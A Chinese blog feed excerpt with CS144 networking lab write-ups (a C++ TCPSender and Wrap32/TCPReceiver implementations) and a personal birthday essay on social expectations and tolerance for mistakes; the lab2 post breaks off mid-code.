&lt;p&gt;到目前为止，我们已经实现了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcp 发送方 + 连接管理
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在只要实现发送方，并再做一定整合我们就可以完成 tcp 协议栈了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;客户端 = TCP发送方 + TCP接收方 + 连接管理
服务端 = TCP发送方 + TCP接收方 + 连接管理
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;实现:&lt;/h2&gt;
&lt;p&gt;磨了很久，中间 debug 不出来问了好几次 ai。里面的细节有些多，并且在本 lab 中的测试用例让我倒回去改了 lab1 中的代码（现在已经在对应 lab1 中修改了）。&lt;/p&gt;
&lt;p&gt;这里前几个函数的实现思路可以参考 bytestream，例如这里的有多少 seuqnce_numbers_in_flight 或者 consecutive_retransmissions 其实都只是一个状态，就和 bytestream 中 is_connect 是一个道理。所以在私有成员中维护一个值返回即可。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;uint64_t TCPSender::sequence_numbers_in_flight() const
{
  
  debug( &quot;unimplemented sequence_numbers_in_flight() called&quot; );
  return bytes_in_flight_;
}

uint64_t TCPSender::consecutive_retransmissions() const
{
  debug( &quot;unimplemented consecutive_retransmissions() called&quot; );
  return retransmissions_;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;一些细节：&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;这里面另外需要注意的点是，syn 与 fin 的处理， syn 设置后，装的数据里要为它留一个位置，同样的，如果 fin 设置 装不下也需要在下一个包里填上去。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以及窗口的大小一定是从 1 开始的。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;uint64_t window_size = window_size_ &gt; 0 ? window_size_ : 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重传状态记录，用队列是方便带时间标记，有点类似于写 bfs 算法题。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;outstanding_segments_.push({msg, 0});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以及只有在成功确认新段时才能重置 RTO，而不是在每次收到 ACK 时&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;if (segments_acknowledged) {
  retransmissions_ = 0;
  RTO_ms_ = initial_RTO_ms_;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里面还使用了回调函数：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;transmit(msg);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;算是很有意思的处理（不过也有可能是因为我写的代码不多的原因）。&lt;/p&gt;
&lt;p&gt;最重要的是！！！一定要在每个可能发送数据的地方都要检查流错误，测试用例里面有很多针对这个地方的点。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;if (msg.RST) {
  writer().set_error();
  return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完整代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &quot;tcp_sender.hh&quot;
#include &quot;debug.hh&quot;
#include &quot;tcp_config.hh&quot;

using namespace std;

// This function is for testing only; don&apos;t add extra state to support it.
//跟踪已经发送但未被确认的序列号数量
uint64_t TCPSender::sequence_numbers_in_flight() const
{
  return bytes_in_flight_;
}

//记录连续重传的数量
uint64_t TCPSender::consecutive_retransmissions() const
{

  return retransmissions_;
}
//实现数据的发送，先要考虑窗口大小等限制
void TCPSender::push( const TransmitFunction&amp;#x26; transmit )
{
  //首先检查流是否有错
  if (reader().has_error()) {
    TCPSenderMessage msg;
    msg.seqno = isn_ + next_seqno_;
    msg.RST = true;
    transmit(msg);
    return;
  }
  uint64_t window_size = window_size_ &gt; 0 ? window_size_ : 1;
  //如果有确认号的话就将其解包转换
  uint64_t abs_ackno = ackno_.has_value() ? ackno_.value().unwrap(isn_, next_seqno_) : 0;
  uint64_t window_end = abs_ackno + window_size;
  
  uint64_t available_window = window_end &gt; next_seqno_ ? window_end - next_seqno_ : 0;

  // 如果最开始没有发送 syn 的话就先发送
  if (next_seqno_ == 0 &amp;#x26;&amp;#x26; available_window &gt; 0) {
    TCPSenderMessage msg;
    msg.seqno = isn_;
    msg.SYN = true;
    
    // 尝试添加数据负载 
    size_t payload_capacity = available_window &gt; 1 ? available_window - 1 : 0; // SYN占用1个序列号
    payload_capacity = std::min(payload_capacity, static_cast&amp;#x3C;uint64_t&gt;(TCPConfig::MAX_PAYLOAD_SIZE));
    
    if (payload_capacity &gt; 0 &amp;#x26;&amp;#x26; (reader().peek().size()&gt;0)) {
      size_t read_size = std::min(payload_capacity, reader().peek().size());
      if (read_size &gt; 0) {
        msg.payload = reader().peek().substr(0, read_size);
        reader().pop(read_size);
      }
    }
    
    // 检查是否应该在同一个包中发送 FIN
    if (reader().is_finished() &amp;#x26;&amp;#x26; !fin_sent_ &amp;#x26;&amp;#x26; 
        available_window &gt; 1 + msg.payload.size()) { // 需要额外的窗口空间给FIN
        msg.FIN = true;
        fin_sent_ = true;
    }

    transmit(msg);

    size_t segment_size = 1 + msg.payload.size() + (msg.FIN ? 1 : 0); // SYN占1，payload占其大小，FIN占1
    outstanding_segments_.push({msg, 0});
    bytes_in_flight_ += segment_size;
    next_seqno_ += segment_size;
    
    if (!timer_running_) {
      timer_running_ = true;
      time_since_last_activity_ = 0;
      RTO_ms_ = initial_RTO_ms_;
    }
    
    available_window -= segment_size;
    
    // 如果已发送FIN，不再发送数据
    if (msg.FIN) {
      return;
    }
  }
  
  while(available_window &gt; 0 ){
    if(reader().peek().size() == 0 &amp;#x26;&amp;#x26; (!reader().is_finished() || fin_sent_)) {
      break;
    }
    TCPSenderMessage msg;
    msg.seqno = isn_ + next_seqno_;
    //这里需要去找 tcpconfig 中对于 tcp 数据段的要求
    size_t payload_size = std::min(available_window,static_cast&amp;#x3C;uint64_t&gt;(TCPConfig::MAX_PAYLOAD_SIZE));
    payload_size = std::min(payload_size,reader().peek().size());

    if(payload_size &gt; 0){
      msg.payload = reader().peek().substr(0,payload_size);
      reader().pop(payload_size);
    }

    if (reader().is_finished() &amp;#x26;&amp;#x26; !fin_sent_ &amp;#x26;&amp;#x26; available_window &gt; msg.payload.size()) {
      msg.FIN = true;
      fin_sent_ = true;
    }

    if (msg.payload.empty() &amp;#x26;&amp;#x26; !msg.SYN &amp;#x26;&amp;#x26; !msg.FIN) {
      break;
    }
    
    // 发送消息
    transmit(msg);
    size_t segment_size = msg.payload.size() + (msg.FIN ? 1 : 0);
    outstanding_segments_.push({msg, 0});
    bytes_in_flight_ += segment_size;
    next_seqno_ += segment_size;
    
    // 启动计时器
    if (!timer_running_) {
      timer_running_ = true;
      time_since_last_activity_ = 0;
      RTO_ms_ = initial_RTO_ms_;
    }
    
    available_window -= segment_size;
    
    // 如果已发送FIN，不再发送数据
    if (msg.FIN) {
      break;
    }
  }
  return;
}
//创建不包含数据的 tcp 消息，也就是只有个头
TCPSenderMessage TCPSender::make_empty_message() const
{
  
  TCPSenderMessage msg;
  msg.seqno = isn_ + next_seqno_;
  if (reader().has_error()) {
    msg.RST = true;
  }
  return msg;
}

void TCPSender::receive(const TCPReceiverMessage&amp;#x26; msg)
{
  // 检查是否收到RST标志
  if (msg.RST) {
    writer().set_error();
    return;
  }

  window_size_ = msg.window_size;

  if(msg.ackno.has_value()){
    uint64_t abs_ackno = msg.ackno.value().unwrap(isn_,next_seqno_);

    if(abs_ackno &amp;#x3C;= next_seqno_){
      ackno_ = msg.ackno;
    

    bool segments_acknowledged = false;
    //然后就是经典的队列遍历了
    while(!outstanding_segments_.empty()){
      const auto&amp;#x26; segment = outstanding_segments_.front();
      uint64_t seg_seqno = segment.msg.seqno.unwrap(isn_,next_seqno_);
      uint64_t seg_end = seg_seqno + segment.msg.payload.size() + 
                          (segment.msg.SYN ? 1 : 0) + 
                          (segment.msg.FIN ? 1 : 0);
      if (seg_end &amp;#x3C;= abs_ackno) {
          // 完全确认此段
          bytes_in_flight_ -= (segment.msg.payload.size() + 
                             (segment.msg.SYN ? 1 : 0) + 
                             (segment.msg.FIN ? 1 : 0));
          
          outstanding_segments_.pop();
          segments_acknowledged = true;
        } else {
          break;
        }
      }
      
      // 如果确认了新的段，重置重传计数和RTO
      if (segments_acknowledged) {
        retransmissions_ = 0;
        RTO_ms_ = initial_RTO_ms_;
        
        // 重置计时器（如果还有未确认的段）
        if (!outstanding_segments_.empty()) {
          time_since_last_activity_ = 0;
        } else {
          timer_running_ = false;
        }                    
    }
  }
 }
}

void TCPSender::tick( uint64_t ms_since_last_tick, const TransmitFunction&amp;#x26; transmit )
{
  //同样的，发送消息前都应该检查流是否有错
  if (reader().has_error()) {
    TCPSenderMessage msg;
    msg.seqno = isn_ + next_seqno_;
    msg.RST = true;
    transmit(msg);
    return;
  }
  if (timer_running_) {
    time_since_last_activity_ += ms_since_last_tick;
    
    // 检查是否超时
    if (time_since_last_activity_ &gt;= RTO_ms_ &amp;#x26;&amp;#x26; !outstanding_segments_.empty()) {
      // 重传最早的未确认段
      transmit(outstanding_segments_.front().msg);
      
      // 窗口非零时增加连续重传计数并更新RTO
      if (window_size_ &gt; 0) {
       retransmissions_++;
        RTO_ms_ *= 2;  // 指数退避
      }
      
      // 重置计时器
      time_since_last_activity_ = 0;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;测试结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/test.png&quot; alt=&quot;很坑的测试用例&quot;&gt;&lt;/p&gt;
&lt;h2&gt;应用：&lt;/h2&gt;
&lt;p&gt;按照指导书上的教程最后成功实现了互通。以及 webget 也测试成功了。还是很有趣的。这里可以好好体验一下抓包的&lt;s&gt;乐趣&lt;/s&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/%E9%80%9A%E4%BF%A1.png&quot; alt=&quot;抓包终于结束了&quot;&gt;&lt;/p&gt;
&lt;h2&gt;总结：&lt;/h2&gt;
&lt;p&gt;建议好好阅读提供的框架代码， tcp_ipv4.cc 实现了一个基于 TCP/IPv4 的网络应用程序框架，用于创建可以在 TUN 虚拟网络接口上运行的 TCP 客户端和服务器。&lt;/p&gt;
&lt;p&gt;这里原理和 clash 等代理软件有类似之处。不过 cpp 的那些特性实在太难看了，没心情继续看了 : (&lt;/p&gt;</content:encoded><category>cs144</category></item><item><title>Memos 9 : 人生的容错性</title><link>https://cry4o4n0tfound.cn/blog/memos-9-%E4%BA%BA%E7%94%9F%E7%9A%84%E5%AE%B9%E9%94%99%E6%80%A7/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-9-%E4%BA%BA%E7%94%9F%E7%9A%84%E5%AE%B9%E9%94%99%E6%80%A7/</guid><pubDate>Sat, 05 Apr 2025 14:32:22 GMT</pubDate><content:encoded>&lt;h2&gt;前言：&lt;/h2&gt;
&lt;p&gt;在本周的周五（其实就是昨天）又长大了一岁，已经到了小时候觉得是大人的年纪了✨。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;生日有感：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;有人枯萎，有人成长&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在过生日已经没有了小时候单纯的兴奋劲了——至少对我而言，它已经变成了一个自然而然的过程，就像在提醒自己，“哦，又活了一年。”，正如之前在&lt;a href=&quot;https://cry4o4n0tfound.cn/2025/03/15/%E8%A1%A8%E8%BE%BE%E4%B8%8E%E8%87%AA%E7%94%B1/&quot;&gt;表达与自由&lt;/a&gt;所言，我的分享欲望已经很低了，有些时候安安静静的度过其实也是一个不错的选择（去年就是这么做的）。并且由于国历的生日大多落在清明节，虽然不算一件特别大的事，但是家里人一般还是为我过农历生日（其实这也是本站 4o4N0tFound 的由来，4.4 找不到，还是挺贴切的 hhh）。&lt;/p&gt;
&lt;p&gt;可以说，国历生日基本是为朋友所准备的，由于相对来说，一个特殊的日子比较好记，记得的朋友们往往会发个生日祝福，甚至关系不错的还会寄一些礼物，在这些小小的举动之下，还是能在这个世界上找到一些被记得的感觉，这也算过生日的一些意义吧——原来有人还记得今儿有个 cry 过生日。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/present%20by%20hm.JPG&quot; alt=&quot;舍友送的挂件&quot;&gt;&lt;/p&gt;
&lt;p&gt;当然了，过生日早已不是一件完完全全开心的事情了。长大的同时也意味着责任的增长和心智的成熟，以及自己的长大，也往往昭示着父辈们正在变老。&lt;/p&gt;
&lt;p&gt;在清明节过生日，这种生与死的交织感尤为强烈。但也正因于此，这也给了我敦促自己前行的一些动力——希望踏青祭祖时，能让在天上看着我的爷爷奶奶感到欣慰与自豪——他们的孙子去年做的还算不错呢！&lt;/p&gt;
&lt;p&gt;这大概是一年之中我这个无神论者唯一信神的时刻了。&lt;/p&gt;
&lt;p&gt;除此之外，我很喜欢在清明节听一听许嵩的清明雨上（有那么点生日歌的意味了，也有我小时候在车载音箱上听了很多许嵩歌的缘故😂）。&lt;/p&gt;
&lt;p&gt;清明节本就是常常下雨的，而雨呢就像一条线，连接了天上与地下，歌的评论区里有一句话：&lt;/p&gt;
&lt;p&gt;&lt;em&gt;清明雨上，雨上是天堂，雨下是人间。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;雨将两者相连，传递着下面人的思念，也传递着上面人的期盼。而我的生日将生与死以一种独特的姿态呈现给我，将天堂与人间巧妙地再次关联，这又是生日给我带来的另一重意义了。&lt;/p&gt;
&lt;p&gt;总而言之，种种原因叠加起来，每年在清明节过生日时总有些不同的感受，这里只是记下一些。&lt;/p&gt;
&lt;p&gt;谢谢大家祝我生日快乐，也祝大家清明安康（虽然已经过去了）。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;人生的容错性：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;从来如此，便对吗？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;之前某社交媒体上一直对”中国人关键的一生“有所调侃：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/%E6%8B%9B%E7%AC%91.png&quot; alt=&quot;甚至远远没有截全的一张图&quot;&gt;	但事实上，人生并没有那么多真正“关键”的节点。比如现在回望高考，如果当时我没有把它当成决定命运的关键帧，或许我反而能发挥得更好。&lt;/p&gt;
&lt;p&gt;心理学中有一个概念叫“社会时钟”：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;社会时钟，是一种描述个体生命中主要里程碑的心理时间表，它规定了“什么年纪做什么事”，是一种由社会普遍认同的时间尺度。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;而在 cn 社会下，社会时钟尤为强大。gap year 几乎没有被真正接受（除了大学可以当作 gap year），我经常见到推特上某些人在简历上写了 gap year 然后被面试官狠狠拷打。这种对“偏离”的不宽容，本质上反映的是一种功利主义的社会期待：你必须走在规定的轨道上，才能被看作“正常”甚至“成功”。&lt;/p&gt;
&lt;p&gt;但这恰恰应该引发反思——“从来如此，便对吗？”&lt;/p&gt;
&lt;p&gt;我们常常高估了社会时钟的普适性，却低估了个体差异的合理性。不是所有人都适合在22岁本科毕业、25岁结婚、30岁买房，每个人都有自己的节奏与路径。真正的问题在于，这个社会往往只承认一种“成功模式”，而对其他选择缺乏理解，似乎不按照既定轨道行驶就是大逆不道，让许多人没有了勇气去忤逆这个社会，去做一些看似不那么符合社会期许的事情，甚至不敢去做自己热爱的事情。&lt;/p&gt;
&lt;p&gt;容错性，**它是一种社会温度，更是一种人文精神的体现。**如果我们不能接受“晚一点读书”“中途转行”“暂时休息”这些不同节奏的生活方式，那么所谓的教育和成长，就只是对人的标准化塑造，当个体性的差异不再存在，社会教育出来的只是知道按照既定轨道行走的机器，那么我觉得我可能真的在经历 &lt;em&gt;1984&lt;/em&gt; 的内容了。&lt;/p&gt;
&lt;p&gt;我们总是在强调每一步都不能走错，却很少有人问：“如果错了，又能怎样？”实际上，很多人走弯路、重来一遍，最终也找到了自己的方向。&lt;/p&gt;
&lt;p&gt;如果我们一生中只有一次机会高考、一次机会择业、一次机会买房，那么这个人生系统本身就存在问题。一个健康的社会，不应该让人生成为“不能出错的考试”，而应该像操作系统那样，有重启、有回滚、有更新的可能，不然它的底层硬件肯定是有问题的。之前上社会主义发展史时，老师也认为当前面对大学生就业，社会是存在问题的，所以我们不能把其的错误强加于自己身上。&lt;/p&gt;
&lt;p&gt;所以，我们更应该追问的不是“这样做对不对”，而是——&lt;strong&gt;它是否真实地回应了你内心的召唤？&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;想写些东西鼓励自己，以及恰好之前有朋友对就业感到焦虑，于是这篇周记应运而生。写完一些东西后就是觉得神清气爽😎（就是感觉有点危险）。&lt;/p&gt;
&lt;p&gt;下次见👋&lt;/p&gt;</content:encoded><category>week</category></item><item><title>CS144-lab2</title><link>https://cry4o4n0tfound.cn/blog/cs144-lab2/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/cs144-lab2/</guid><pubDate>Thu, 03 Apr 2025 22:45:27 GMT</pubDate><content:encoded>&lt;h1&gt;cs144-lab2:&lt;/h1&gt;
&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;lab2 的目的是继续完善 tcp 的细节，我们之前在 lab1 中实现的部分已经模拟了 ack 的逻辑，例如接收窗口什么的，但是某一些细节部分被忽略了，例如上一节的序列号和确认号——由于 TCP 序列号是 32 位无符号整数，最大值是 4294967295。当序列号达到这个最大值后，会“回绕”到 0，继续递增。这种现象称为&lt;strong&gt;序列号回绕&lt;/strong&gt;（Sequence Number Wraparound）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在低速网络中，序列号回绕可能需要很长时间才会发生。例如，传输 4GB 数据（2³² 字节）在 1Mbps 的网络上需要大约 8 小时。&lt;/li&gt;
&lt;li&gt;但在现代高速网络中（如 10Gbps 或更高），序列号回绕可能在几秒钟内发生。例如，在 10Gbps 的网络上，传输 4GB 数据只需约 3.2 秒。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;现代 tcp 中引入了 Tsval 和 Tsecr 等段来区分，这个可以在 wireshark 里抓的包看到。&lt;/p&gt;
&lt;p&gt;从而我们可以基于此计算出对应的是否是发生了回绕的序列号。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/wireshark.png&quot; alt=&quot;现代 tcp 的区分方式&quot;&gt;&lt;/p&gt;
&lt;p&gt;类似的检测我们需要在  wrapping 中实现，将三种序列号的关系对应起来，用文档里的话来说的话，**就是将序列号转化为绝对序列号，绝对序列号始终从零开始并且不存在回绕，**而流索引则代表着流中每个字节的索引（在 Reassembler 中我们已经用到了），以输入 ‘cat‘ 的字节流为例：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/instruction.png&quot; alt=&quot;指导书的指导&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#pragma once

#include &amp;#x3C;cstdint&gt;

/*
 * Wrap32类型表示一个32位无符号整数，它：
 *    - 从任意的&quot;零点&quot;（初始值）开始，并且
 *    - 当它达到2^32 - 1时会绕回到零。
 */

class Wrap32
{
public:
  // 显式构造函数，接受一个32位原始值
  explicit Wrap32( uint32_t raw_value ) : raw_value_( raw_value ) {}

  /* 给定一个绝对序列号n和零点，构造一个Wrap32对象。 */
  static Wrap32 wrap( uint64_t n, Wrap32 zero_point );

  /*
   * unwrap方法返回一个绝对序列号，给定零点和一个&quot;检查点&quot;（另一个接近所需答案的绝对序列号），
   * 该序列号会映射到这个Wrap32。
   *
   * 可能有很多绝对序列号都会映射到同一个Wrap32。
   * unwrap方法应该返回最接近检查点的那一个。
   */
  uint64_t unwrap( Wrap32 zero_point, uint64_t checkpoint ) const;

  // 重载+运算符，返回原始值加上n的新Wrap32对象
  Wrap32 operator+( uint32_t n ) const { return Wrap32 { raw_value_ + n }; }
  
  // 重载==运算符，比较两个Wrap32对象的原始值是否相等
  bool operator==( const Wrap32&amp;#x26; other ) const { return raw_value_ == other.raw_value_; }

protected:
  // 保护成员变量，存储32位原始值
  uint32_t raw_value_ {};
};
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;在绝对序列号和流索引之间进行转换足够简单 —— 只需加一或减一即可。不幸的是，在序列号和绝对序列号之间进行转换要困难一些，混淆两者可能会产生棘手的错误。为了系统地防止这些错误，我们将使用自定义类型： Wrap32 来表示序列号，并编写它与绝对序列号（用 uint64 t 表示）之间的转换。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;具体实现：&lt;/h3&gt;
&lt;p&gt;这里的实现有点类似于初中时学绝对值的感受，先去除掉 zero_point 的影响，然后计算出 base 值，这里有一个巧妙的处理，利用位运算：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;uint64_t base = checkpoint &amp;#x26; ~(0xFFFFFFFFULL)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样可以非常高效的去除掉低 32 位，因为当 checkpoint 的序列号大于 2^32 后，每隔 2^32 就开始重新循环，所以我们需要找到最接近的当前周期。&lt;/p&gt;
&lt;p&gt;比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果 checkpoint = 4,294,970,000 (接近一个周期末尾)&lt;/li&gt;
&lt;li&gt;清除低32位后得到 base = 0&lt;/li&gt;
&lt;li&gt;这样我们可以构建当前周期、上一周期和下一周期的候选值&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然，位运算是我最后让 Claude 检查的时候它给我的建议，我本人只会傻傻的除法 : (，但是这也从侧面证明 ai 真的是很棒的老师。&lt;/p&gt;
&lt;p&gt;参考代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;Wrap32 Wrap32::wrap( uint64_t n, Wrap32 zero_point )
{
  // Your code here.
  uint32_t offset = (n + zero_point.raw_value_) % (1ULL&amp;#x3C;&amp;#x3C;32);
  //debug( &quot;unimplemented wrap( {}, {} ) called&quot;, n, zero_point.raw_value_ );
  return Wrap32 { offset };
}

uint64_t Wrap32::unwrap( Wrap32 zero_point, uint64_t checkpoint ) const
{
  // Your code here.
  //消除最开始的随机序列号引起的偏移量，有利于找到绝对序列号
  uint32_t offset = raw_value_ - zero_point.raw_value_;
  //** note 清除低32位，使用位运算方法
  uint64_t base = checkpoint &amp;#x26; ~(0xFFFFFFFFULL);//其实这里我一开始用的除法，后面让 ai 检查代码时它推荐我用位运算
  //位运算在底层还是好用的，又把之前 datalab 的知识还回去了 ：(
  uint64_t now = base + offset;
  uint64_t next = now + (1ULL&amp;#x3C;&amp;#x3C;32);
  uint64_t pre = now - (1ULL&amp;#x3C;&amp;#x3C;32);

  uint64_t distance1 = now &gt;= checkpoint? now - checkpoint : checkpoint - now;
  uint64_t distance2 = next &gt;= checkpoint? next - checkpoint : checkpoint - next;
  uint64_t distance3 = pre &gt;= checkpoint? pre - checkpoint : checkpoint - pre;

  if (distance1 &amp;#x3C;= distance2 &amp;#x26;&amp;#x26; distance1 &amp;#x3C;= distance3) {
    return now;
  } else if (distance2 &amp;#x3C;= distance1 &amp;#x26;&amp;#x26; distance2 &amp;#x3C;= distance3) {
    return next;
  } else {
    return pre;
  }
 // debug( &quot;unimplemented unwrap( {}, {} ) called&quot;, zero_point.raw_value_, checkpoint );
  return {};
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;TCPReceiver：&lt;/h2&gt;
&lt;p&gt;我们已经实现了序列号的封装和解封装逻辑，接下来就需要真正的去实现 TCPReceiver 了，指导书上给出的结构如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/instruction2.png&quot; alt=&quot;依旧是指导总结&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们需要对发过来的 message 进行处理，先看一下 message 的结构：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;struct TCPSenderMessage
{
  Wrap32 seqno { 0 };

  bool SYN {};
  std::string payload {};
  bool FIN {};

  bool RST {};

  // How many sequence numbers does this segment use?
  size_t sequence_length() const { return SYN + payload.size() + FIN; }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;基于 message 的结构我们可以思考我们需要对 Receiver 设计怎样的私有类。&lt;/p&gt;
&lt;p&gt;我们需要明确 TCPReceiver 有几种状态：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;回想一下 tcp 还没建立连接时，服务端会处于监听模式，这个时候我们的随机序列号还没有确定。&lt;/li&gt;
&lt;li&gt;当收到 syn 后，还没收到 fin 字段前，都应该是接受字节流的模式&lt;/li&gt;
&lt;li&gt;收到 fin，自然就关闭了。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以我们可以这样设计：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-CPP&quot;&gt;class TCPReceiver
{
public:
  // Construct with given Reassembler
  explicit TCPReceiver( Reassembler&amp;#x26;&amp;#x26; reassembler ) : 
    reassembler_( std::move( reassembler ) ),
    is_syn_received_( false ),
    is_fin_received_( false ),
    has_error_( false ),
    zero_point_( std::nullopt ) {}

  /*
   * The TCPReceiver receives TCPSenderMessages, inserting their payload into the Reassembler
   * at the correct stream index.
   */
  void receive( TCPSenderMessage message );

  // The TCPReceiver sends TCPReceiverMessages to the peer&apos;s TCPSender.
  TCPReceiverMessage send() const;

  // Access the output
  const Reassembler&amp;#x26; reassembler() const { return reassembler_; }
  Reader&amp;#x26; reader() { return reassembler_.reader(); }
  const Reader&amp;#x26; reader() const { return reassembler_.reader(); }
  const Writer&amp;#x26; writer() const { return reassembler_.writer(); }

private:
  Reassembler reassembler_;
  bool is_syn_received_; // 标记是否已收到 SYN
  bool is_fin_received_; // 判断是否收到 FIN
  bool has_error_; //检测是否出错了
  std::optional&amp;#x3C;Wrap32&gt; zero_point_; 
  //学到的定义方式,没收到 syn 前是可选的
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分别对于三种状态做处理，&lt;strong&gt;这里唯一注意的点是流索引相较，绝对序列号要去除 syn 的影响。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;实现还是比较简单的，难点在于将前面封装好的东西，如何去调用，&lt;strong&gt;所以我觉得这里最重要的是明确你在调用什么。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所以在实现之前最好整理一下思路，我们目前为止究竟实现了些什么东西，它在 tcp 中又对应什么。&lt;/p&gt;
&lt;h3&gt;回忆：&lt;/h3&gt;
&lt;p&gt;我们最开始实现的是 ByteStream，表示底层的数据流，分别对应 Writer 和 Reader 两端，用于缓冲数据并且控制流，也就是最底层的字节流。&lt;/p&gt;
&lt;p&gt;之后实现的 Reassembler 则是处理 tcp 乱序的关键，类似于 tcp 的缓冲接受区，保存未按序到达的数据，同时将数据流组织有序后，发送给应用层。&lt;/p&gt;
&lt;p&gt;而 Wrap32 类则模拟了 tcp 序列号系统，处理序列号只有 32 bit 可能会发生回绕的问题，封装的 wrap 和 unwrap 则是为了解决绝对序列号问题。&lt;/p&gt;
&lt;p&gt;而我们现在要实现的 TCPSenderMessage 和 TCPReceiverMessage 则分别是模拟 tcp 段和 tcp 的确认，通过模拟以下的消息结构来达到实现 tcp 协议栈中接收方的作用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;TCPSenderMessage&lt;/strong&gt;：模拟TCP段&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;seqno&lt;/code&gt;：序列号&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SYN&lt;/code&gt;/&lt;code&gt;FIN&lt;/code&gt;/&lt;code&gt;RST&lt;/code&gt;：连接控制标志&lt;/li&gt;
&lt;li&gt;&lt;code&gt;payload&lt;/code&gt;：数据部分&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;TCPReceiverMessage&lt;/strong&gt;：模拟TCP确认&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ackno&lt;/code&gt;：确认号，表示接收方期望的下一个字节&lt;/li&gt;
&lt;li&gt;&lt;code&gt;window_size&lt;/code&gt;：接收窗口大小，用于流控制&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RST&lt;/code&gt;：重置连接标志&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;梳理清楚后，再看一看对应头文件中定义的方法就可以开始实现了。逻辑很简单，主要是如何去调用之前封装好的内容...&lt;/p&gt;
&lt;p&gt;参考代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &quot;tcp_receiver.hh&quot;
#include &quot;debug.hh&quot;

using namespace std;

void TCPReceiver::receive( TCPSenderMessage message )
{
  // Your code here.
  //*note 先按影响程度做判断,如果遇到 rst 应该重置连接
  if(message.RST){
    is_syn_received_ = false;
    is_fin_received_ = false;
    zero_point_ = std::nullopt;
    has_error_ = true;  // 设置错误标志
   //简单重置状态
   reassembler_.reader().set_error() ;  // 设置ByteStream错误
    return;
  }
